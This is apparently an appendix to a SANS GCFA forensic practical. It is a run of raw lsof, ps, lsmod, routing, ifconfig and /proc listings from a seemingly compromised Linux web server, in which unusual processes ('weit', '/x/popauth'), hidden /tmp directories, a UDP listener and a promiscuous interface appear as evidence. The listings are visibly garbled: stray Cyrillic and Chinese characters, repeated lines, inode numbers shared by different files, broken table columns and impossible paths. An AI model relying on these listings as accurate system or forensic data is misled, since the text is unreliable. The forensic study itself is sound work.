<td>/usr/lib/libpspell.so.4.0.3</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>290511</td>
<td>65311</td>
<td>/usr/lib/libcurses.so.5.2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
<td>65386</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd 19373</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td>/usr/lib/libdbd.so.0.2.0.15</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Fd</td>
<td>Type</td>
<td>Flags</td>
<td>Uid</td>
<td>Gid</td>
<td>Name</td>
<td></td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>------</td>
<td>----</td>
<td>------</td>
<td>-------</td>
<td>-----</td>
<td>-----</td>
<td>------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/run/httpd.mm.8124.sem (deleted)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td></td>
<td>*:https (LISTEN)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td></td>
<td>*:http (LISTEN)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
<td>/var/log/httpd/access_log</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/log/httpd/ssl_request_log</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/cwd</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/rtd</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>290169</td>
<td>/usr/sbin/httpd</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9883</td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8301</td>
<td>/usr/lib/apache/mod_env.so</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17638</td>
<td>/usr/lib/apache/mod_log_config.so</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7438</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8530</td>
<td>/usr/lib/apache/mod_log_referer.so</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8274</td>
<td>/usr/lib/apache/mod_dir.so</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>371</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_MESSAGES</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

© SANS Institute 2004, Author retains full rights.

httpd 19375 root mem REG 3,5 655224 63543 /lib/libdbd-3.3.so
httpd 19375 root mem REG 3,2 19662 66292 /usr/lib/libxml2.so
httpd 19375 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so
httpd 19375 root mem REG 3,2 12102 63503 /lib/libssl.so
httpd 19375 root mem REG 3,2 14929 229516 /lib/libpam.so
httpd 19375 root mem REG 3,2 27415 229519 /lib/libapache_mod_negotiation.so
httpd 19375 root mem REG 3,2 18365 229523 /lib/libapache_mod_status.so
httpd 19375 root mem REG 3,2 19959 229512 /lib/libapache_mod_info.so
httpd 19375 root mem REG 3,2 35886 229511 /lib/libapache_mod_include.so
httpd 19375 root mem REG 3,2 27836 229501 /lib/libapache_mod_autoindex.so
httpd 19375 root mem REG 3,2 14940 229503 /lib/libapache_mod_cgi.so
httpd 19375 root mem REG 3,2 6924 229496 /lib/libapache_mod_asis.so
httpd 19375 root mem REG 3,2 15974 229510 /lib/libapache_mod_imap.so
httpd 19375 root mem REG 3,2 8541 229494 /lib/libapache_mod_actions.so
httpd 19375 root mem REG 3,2 8770 229525 /lib/libapache_mod_userdir.so
httpd 19375 root mem REG 3,2 10617 229495 /lib/libapache_mod_alias.so
httpd 19375 root mem REG 3,2 53189 229520 /lib/libapache_mod_rewrite.so
httpd 19375 root mem REG 3,2 10034 229493 /lib/libapache_mod_access.so
httpd 19375 root mem REG 3,2 11985 229497 /lib/libapache_mod_auth.so
httpd 19375 root mem REG 3,2 8486 229498 /lib/libapache_mod_auth_anon.so
httpd 19375 root mem REG 3,2 9304 229499 /lib/libapache_mod_auth_db.so
httpd 19375 root mem REG 3,2 9900 229508 /lib/libapache_mod_expires.so
httpd 19375 root mem REG 3,2 8261 229509 /lib/libapache_mod_headers.so
httpd 19375 root mem REG 3,2 10176 229521 /lib/libapache_mod_setenvif.so
httpd 19375 root mem REG 3,2 92407 440046 /usr/lib/gconv/gconv-modules.cache
httpd 19375 root mem REG 3,5 11174 63541 /usr/lib/libutil-2.2.5.so
httpd 19375 root mem REG 3,2 122952 229529 /usr/lib/libapache/libdav.so
httpd 19375 root mem REG 3,2 210094 229531 /usr/lib/libapache/libssl.so
httpd 19375 root mem REG 3,2 1453198 425001 /usr/lib/php/imap.so
httpd 19375 root mem REG 3,2 8621 440043 /usr/lib/libkrb5.so
httpd 19375 root mem REG 3,2 20666 114263 /usr/lib/libgssapi_krb5.so
httpd 19375 root mem REG 3,2 92407 440046 /usr/lib/php4/imap.so
httpd 19375 root mem REG 3,2 22592 130314 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 19375 root mem REG 3,2 35886 229511 /usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 19375 root mem REG 3,2 15974 229510 /usr/lib/locale/en_US.iso885915/LC_LC_COLLATE
httpd 19375 root mem REG 3,2 8541 229494 /usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 19375 root mem REG 3,2 92407 440046 /usr/lib/locale/en_US.iso885915/LC_NAME
httpd 19375 root mem REG 3,2 5300 440046 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 19375 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 19375 root mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 19375 root mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 19375 root mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 19375 root mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES
httpd 19375 root mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 19375 root mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 19375 root mem REG 3,5 89424 63507 /lib/libxml2-2.2.5.so
httpd 19375 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 19375 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
httpd 19375 root mem REG 3,2 28138 66033 /lib/libstdc++.so.5.0.2.2
httpd 19375 root mem REG 3,2 5300 66039 /lib/libpam.so.0.7.55
httpd 19375 root mem REG 3,2 426442 65304 /lib/libstdc++-v3-3.2.2.5-2.2.10.0.so
httpd 19375 root mem REG 3,2 131560 65396 /lib/libpam.so.0.2.1.0.12
httpd 19375 root mem REG 3,2 59778 65358 /lib/libxml2.so.1.1.3
httpd 19375 root mem REG 3,2 146819 66089 /lib/libxml2.so.2.0.2
httpd 19375 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 19375 root mem REG 3,5 207008 63563 /lib/libssl.so.0.9.6
httpd 19375 root mem REG 3,5 6925 63535 /lib/libxmlresolv-2.2.5.so
httpd 19375 root mem REG 3,2 153026 66042 /lib/libpam.so.0.4.3
httpd 19375 root mem REG 3,2 290511 65311 /lib/libpam.so.5.0.2
httpd 19375 root mem REG 3,2 215482 65386 /lib/libґmp.so.3.2.1
httpd 19375 root mem REG 3,2 196868 66287 /lib/libgd.so.1.8.4
httpd 19375 root mem REG 3,2 717774 65410 /lib/libxml2.so.2.4.19
httpd 19375 root mem REG 3,2 66646 65263 /lib/libxml2.so.1.0.2
httpd 19375 root mem REG 3,2 189626 65384 /lib/libttf.so.2.3.0
httpd 19375 root mem REG 3,2 295833 65382 /lib/libfreetype.so.6.3.0
httpd 19375 root mem REG 3,2 140418 65389 /lib/libjpeg.so.62.0.0

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
httpd 19376 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 19376 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 19376 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 19376 root mem REG 3,2 145319 440043 /usr/kerberos/lib/libcom_err.so.3.0
httpd 19376 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 19376 root mem REG 3,2 29 130312
httpd 19376 root mem REG 3,2 65 130316
httpd 19376 root mem REG 3,2 161 130310
httpd 19376 root mem REG 3,2 83 130314
httpd 19376 root mem REG 3,2 40 130315
httpd 19376 root mem REG 3,2 58 130316
httpd 19376 root mem REG 3,2 292 130313
httpd 19376 root mem REG 3,2 22592 130323
httpd 19376 root mem REG 3,2 131560 63539 /usr/lib/libpng.so.2.1.0.12
httpd 19376 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 19376 root mem REG 3,2 146819 60089 /usr/lib/libcurl.so.2.2.5
httpd 19376 root mem REG 3,2 92479 63562 /usr/lib/libcrypto.so.0.9.6
httpd 19376 root mem REG 3,2 207008 63563 /usr/lib/libssl.so.0.9.6
httpd 19376 root mem REG 3,2 68925 63535 /usr/lib/libresolv-2.2.5.so
httpd 19376 root mem REG 3,2 153026 66042 /usr/lib/libpspell-modules.so.1.0.1
httpd 19376 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3-libc6.2-2.10.0.so
httpd 19376 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 19376 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 19376 root mem REG 3,2 146819 60089 /usr/lib/libcurl.so.2.2.5
httpd 19376 root mem REG 3,2 92479 63562 /usr/lib/libcrypto.so.0.9.6
httpd 19376 root mem REG 3,2 207008 63563 /usr/lib/libssl.so.0.9.6
httpd 19376 root mem REG 3,2 68925 63535 /usr/lib/libresolv-2.2.5.so
httpd 19376 root mem REG 3,2 153026 66042 /usr/lib/libpspell-modules.so.1.0.1
httpd 19376 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3-libc6.2-2.10.0.so
httpd 19376 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 19376 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
minilogd 19365 root cwd DIR 3,5 1024 2 /nolog
minilogd 19365 root rtd DIR 3,5 1024 2 /
minilogd 19365 root txt REG 3,6 8996 71809 /sbin/minilogd
minilogd 19365 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
minilogd 19365 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
minilogd 19365 root 0u CHR 1,3 9637 /dev/null
minilogd 19365 root 1u CHR 1,3 9637 /dev/null
minilogd 19365 root 2u CHR 1,3 9637 /dev/null
minilogd 19365 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
minilogd 19365 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
(mined)
minilogd 19365 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
minilogd 19365 root 6u sock 0,0 550563 can't identify protocol
minilogd 19365 root 7u CHR 1,3 9637 /dev/null
minilogd 19365 root 8u unix Oxclf80540 551280 /dev/log
minilogd 19365 root 9w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
weit 19678 root cwd DIR 3,5 2048 40961 /bin
weit 19678 root rtd DIR 3,5 1024 2 /
weit 19678 root txt REG 3,2 20914 34503 /usr/bin/weit
weit 19678 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
weit 19678 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
weit 19678 root 0u sock 0,0 550563 can't identify protocol
weit 19678 root 1u sock 0,0 550563 can't identify protocol
weit 19678 root 2u sock 0,0 550563 can't identify protocol
weit 19678 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
weit 19678 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
(deleted)
weit 19678 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
weit 19678 root 6u sock 0,0 550563 can't identify protocol
weit 19678 root 7r DIR 3,5 1024 53319 /tmp/.sockets
weit 19678 root 8r DIR 3,5 2048 40961 /bin
weit 19678 root 9u IPv4 551503 UDP *:3049
weit 19678 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
weit 19678 root 16u IPv4 361623 TCP *:https (LISTEN)
weit 19678 root 17u IPv4 361624 TCP *:http (LISTEN)
weit 19678 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
weit 19678 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
popauth 19685 root cwd DIR 3,5 2048 40961 /bin
popauth 19685 root rtd DIR 3,5 1024 2 /
popauth 19685 root txt REG 3,5 36415 55345 /x/popauth
popauth 19685 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
popauth 19685 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
popauth 19685 root 0u sock 0,0 550563 can't identify protocol
popauth 19685 root 1w CHR 1,3 9637 /dev/null
popauth 19685 root 2w CHR 1,3 9637 /dev/null
popauth 19685 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
popauth 19685 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
(deleted)
popauth 19685 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
popauth 19685 root 6u sock 0,0 550563 can't identify protocol
popauth 19685 root 7r FIFO 0,5 551501 pipe
popauth 19685 root 8w FIFO 0,5 551501 pipe
popauth 19685 root 9u IPv4 551503 UDP :3049
popauth 19685 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
popauth 19685 root 16u IPv4 361623 TCP :https (LISTEN)
popauth 19685 root 17u IPv4 361624 TCP :http (LISTEN)
popauth 19685 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
popauth 19685 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
chmod 19796 root cwd DIR 3,5 2048 40961 /bin/chmod
chmod 19796 root rtd DIR 3,5 1024 2 /
chmod 19796 root txt REG 3,5 30102 40961 /bin/chmod
chmod 19796 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
chmod 19796 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
chmod 19796 root 0u sock 0,0 550563 can't identify protocol
chmod 19796 root 1u sock 0,0 550563 can't identify protocol
chmod 19796 root 2u sock 0,0 550563 can't identify protocol
chmod 19796 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
chmod 19796 root 4u REG 3,5 0 /tmp/session_mm_apache0.sem
 chmod 19796 root 5u REG 3,5 8192 /tmp/session_mm_apache0.sem
 chmod 19796 root 6u sock 0,0 550563 can't identify protocol
 chmod 19796 root 7r DIR 3,5 1024 /tmp/.s/nfsd
 chmod 19796 root 8r DIR 3,5 2048 /bin
 chmod 19796 root 9u REG 3,5 0 /dev/hdx1
 chmod 19796 root 10u sock 0,0 550563 can't identify protocol
 chmod 19796 root 15w REG 3,6 1729 /var/log/httpd/error_log
 chmod 19796 root 16u IPv4 361623 TCP *:https (LISTEN)
 chmod 19796 root 17u IPv4 361623 TCP *:http (LISTEN)
 chmod 19796 root 18w REG 3,6 265 /var/log/httpd/access_log
 chmod 19796 root 19w REG 3,6 0 /var/log/httpd/ssl_request_log

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 1368 432 ? S Jun23 0:05 init
root 2 0.0 0.0 0 0 ? SW Jun23 0:00 [keventd]
root 3 0.0 0.0 0 0 ? SW Jun23 0:00 [kapmd]
root 4 0.0 0.0 0 0 ? SW Jun23 0:00 [ksoftirqd_CPU0]
root 5 0.0 0.0 0 0 ? SW Jun23 0:03 [kswapd]
root 6 0.0 0.0 0 0 ? SW Jun23 0:00 [bdflush]
root 7 0.0 0.0 0 0 ? SW Jun23 0:00 [kudated]
root 8 0.0 0.0 0 0 ? SW Jun23 0:00 [mcrecovery]
root 9 0.0 0.0 0 0 ? SW Jun23 0:00 [kjournal]
root 91 0.0 0.0 0 0 ? SW Jun23 0:00 [khubd]
root 186 0.0 0.0 0 0 ? SW Jun23 0:00 [kjournal]
root 187 0.0 0.0 0 0 ? SW Jun23 0:00 [kjournal]
root 188 0.0 0.0 0 0 ? SW Jun23 0:00 [kjournal]
root 189 0.0 0.0 0 0 ? SW Jun23 0:00 [kjournal]
rpcuser 657 0.0 0.4 1556 600 ? S Jun23 0:00 rpc.statd
root 770 0.0 0.3 1360 412 ? S Jun23 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P
/etc/sysconfig/apm-scripts/apm-script
nt 用户 790 0.0 1.4 1884 1876 ? SL Jun23 0:01 ntpd -U ntp -q
root 842 0.0 0.4 2620 572 ? S Jun23 0:01 /usr/sbin/sshd
root 875 0.0 0.4 2196 560 ? S Jun23 0:00 xinetd -stayalive -reuse -pidfile
/var/run/xinetd.pid
root 916 0.0 0.7 4600 892 ? S Jun23 0:00 sendmail: accepting connections
Kevin Miller - Sans GCFA Assignment – v1.4
Page 172

root 935 0.0 0.3 1400 384 ? S Jun23 0:00 gpm -t ps/2 -m /dev/mouse
root 953 0.0 0.4 1536 560 ? S Jun23 0:00 cron
xfs 1005 0.0 1.2 7584 1568 ? S Jun23 0:03 xfs -droppriv -daemon
daemon 1041 0.0 0.3 1404 468 ? S Jun23 0:00 /usr/sbin/autd
root 1050 0.0 0.2 1344 336 tty1 S Jun23 0:00 /sbin/mingetty tty1
root 1051 0.0 0.2 1344 336 tty2 S Jun23 0:00 /sbin/mingetty tty2
root 1052 0.0 0.2 1344 336 tty3 S Jun23 0:00 /sbin/mingetty tty3
root 1053 0.0 0.2 1344 336 tty4 S Jun23 0:00 /sbin/mingetty tty4
root 1054 0.0 0.2 1344 336 tty5 S Jun23 0:00 /sbin/mingetty tty5
root 1055 0.0 0.2 1344 336 tty6 S Jun23 0:00 /sbin/mingetty tty6
root 1056 0.0 0.3 2404 396 ? S Jun23 0:00 /usr/bin/kdm -nodaemon
root 1067 0.0 0.5 3272 668 ? S Jun23 0:00 -t
userid1 1091 0.0 0.7 2240 892 ? S Jun23 0:00 /bin/sh /usr/bin/startkde
userid1 1175 0.0 1.3 19460 1700 ? S Jun23 0:00 kdeinit: Running...
daemon 1178 0.0 1.5 19420 1952 ? S Jun23 0:00 kdeinit: dcopserver --nosid
userid1 1181 0.0 2.0 20376 2560 ? S Jun23 0:00 kdeinit: klauncher
userid1 1183 0.0 2.0 21124 2624 ? S Jun23 0:00 kdeinit: kded
userid1 1192 0.0 0.7 6148 992 ? S Jun23 0:02 /usr/bin/artsd -P 10 -S 4096 -s 60 -m
artsmessage -l 3 -f
userid1 1203 0.0 2.0 23220 2640 ? S Jun23 0:03 kdeinit: knotify
userid1 1208 0.0 0.2 1146 268 ? S Jun23 0:00 kswapper kmsgserver --restore
userid1 1210 0.0 1.9 20420 2484 ? S Jun23 0:00 kdeinit: kmsgserver --restore
userid1 1211 0.0 3.0 21696 3916 ? S Jun23 0:09 kdeinit: kwin -session
userid1 1211 0.0 4.5 24360 5820 ? S Jun23 0:19 kdeinit: kicker
cdplayer= /usr/bin/kscd
userid1 1212 0.0 2.2 21124 2860 ? S Jun23 0:51 kdeinit: klipper --icon klipper -
mimicon klipper
userid1 1226 0.0 1.9 21112 2528 ? S Jun23 0:00 kdeinit: kwrited
userid1 1228 0.0 1.9 20416 2512 ? S Jun23 0:00 korgac --mimicon korganizer
userid1 1230 0.0 1.7 20184 2208 ? S Jun23 0:00 kalarm --login
userid1 1232 0.0 2.9 23400 3688 ? S Jun23 5:05 kdeinit: konsole --konsole -
mimicon konsole
userid1 1234 0.0 0.7 2520 980 pts/1 S Jun23 0:00 /bin/bash
userid1 1266 0.0 0.5 2332 656 pts/1 S Jun23 0:00 su -
root 1269 0.0 0.7 2448 980 pts/1 S Jun23 0:00 /bin/bash
userid1 1113 0.0 2.1 20968 2688 ? S Jun26 0:00 kdeinit: kookiejar
userid1 1135 0.0 0.9 13656 1256 ? S Jun26 0:00 kdesud
userid1 7168 0.0 3.5 22800 4528 ? S Jun27 0:13 kdeinit: konsole --konsole -
mimicon konsole
userid1 7170 0.0 0.7 2520 980 pts/2 S Jun27 0:00 /bin/bash
root 7203 0.0 0.5 2332 656 pts/2 S Jun27 0:00 su -
root 7206 0.0 3.8 2462 1120 pts/2 S Jun27 0:00 /bin/bash
root 8125 0.0 0.9 79664 1200 ? S Jun27 0:01 /usr/sbin/httpd -DHAVE_ACCESS -
 DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
root: 8154 0.0 0.6 5728 776 ? S Jun27 0:00 /usr/sbin/snmpd -s -l /dev/null -P
/var/run/snmpd -a
apache 10606 0.0 1.0 79844 1340 ? S Jun29 0:00 /usr/sbin/httpd -DHAVE_ACCESS -
 DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
apache 10607 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd -DHAVE_ACCESS -
 DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
apache 10608 0.0 0.9 79824 1260 ? S Jun29 0:00 /usr/sbin/httpd -DHAVE_ACCESS -
 DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
apache 10609 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd -DHAVE_ACCESS -
 DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
apache 10610 0.0 0.9 79824 1260 ? S Jun29 0:00 /usr/sbin/httpd -DHAVE_ACCESS -
 DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
apache 10611 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd -DHAVE_ACCESS -
 DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
apache 10612 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd -DHAVE_ACCESS -
 DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
apache 10613 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd -DHAVE_ACCESS -
 DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
apache 19365 0.0 0.9 79824 1256 ? S Jun29 0:00 /usr/sbin/httpd -DHAVE_ACCESS -
 DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
apache 19366 0.0 0.9 79824 1248 ? S Jun29 0:00 /usr/sbin/httpd -DHAVE_ACCESS -
 DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
lsmod.txt

Module Size Used by Not tainted
nls_iso8859-1 3488 1 (autoclean)  
iptables_filter 2752 0 (autoclean) (unused)
Kernel IP routing table

<table>
<thead>
<tr>
<th>Destination</th>
<th>Gateway</th>
<th>Genmask</th>
<th>Flags</th>
<th>MSS</th>
<th>Window</th>
<th>Itt</th>
<th>Iface</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.2.0</td>
<td>0.0.0.0</td>
<td>255.255.255.0</td>
<td>U</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
<tr>
<td>0.0.0.0</td>
<td>192.168.2.1</td>
<td>0.0.0.0</td>
<td>UG</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
</tbody>
</table>

ifconfig.txt

```
eth0     Link encap:Ethernet  HWaddr 00:50:8B:0D:50:56
inet addr:192.168.2.15  Bcast:192.168.2.255  Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
RX packets:56788  errors:0  dropped:0  overruns:0  frame:1
TX packets:94732  errors:0  dropped:0  overruns:0  carrier:0
collisions:3023  txqueuelen:100
RX bytes:11574349 (11.0 Mb) TX bytes:15015679 (14.3 Mb)
Interrupt:11  Base address:0x1000

eth1     Link encap:Ethernet  HWaddr 00:90:27:89:8E:64
BROADCAST MULTICAST  MTU:1500  Metric:1
RX packets:0  errors:0  dropped:0  overruns:0  frame:0
collisions:0  txqueuelen:100
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:11  Base address:0x3000

lo       Link encap:Local Loopback
inet addr:127.0.0.1  Mask:255.0.0.0
UP LOOPBACK RUNNING  MTU:16436  Metric:1
RX packets:353  errors:0  dropped:0  overruns:0  frame:0
collisions:0  txqueuelen:0
RX bytes:44009 (42.9 Kb) TX bytes:44009 (42.9 Kb)
```

Proc-filesystem.txt

```
total 1
dr-xr-xr-x 130 root root 0 Jun 23 05:58 .
drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1
dr-xr-xr-x 3 xfs xfs 0 Jun 30 17:29 1005
dr-xr-xr-x 3 daemon daemon 0 Jun 30 17:29 1041
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1050
dr-xr-xr-x 3 root root 0 Jun 30 17:29 1051
```
-r-r--r-- 1 root root 0 Jun 30 17:29 pci
lrwxrwxrwx 1 root root 64 Jun 30 16:44 self -> 29222
-r-r--r-- 1 root root 0 Jun 30 17:29 slabinfo
-r-r--r-- 1 root root 0 Jun 30 17:29 stat
-r-r--r-- 1 root root 0 Jun 30 17:29 swaps
dr-xr-xr-x 10 root root 0 Jun 30 17:29 sys
dr-xr-xr-x 2 root root 0 Jun 30 17:29 sysvipc
dr-xr-xr-x 4 root root 0 Jun 30 17:29 tty
-r-r--r-- 1 root root 0 Jun 30 17:29 uptime
-r-r--r-- 1 root root 0 Jun 30 17:29 version

stoptime.txt

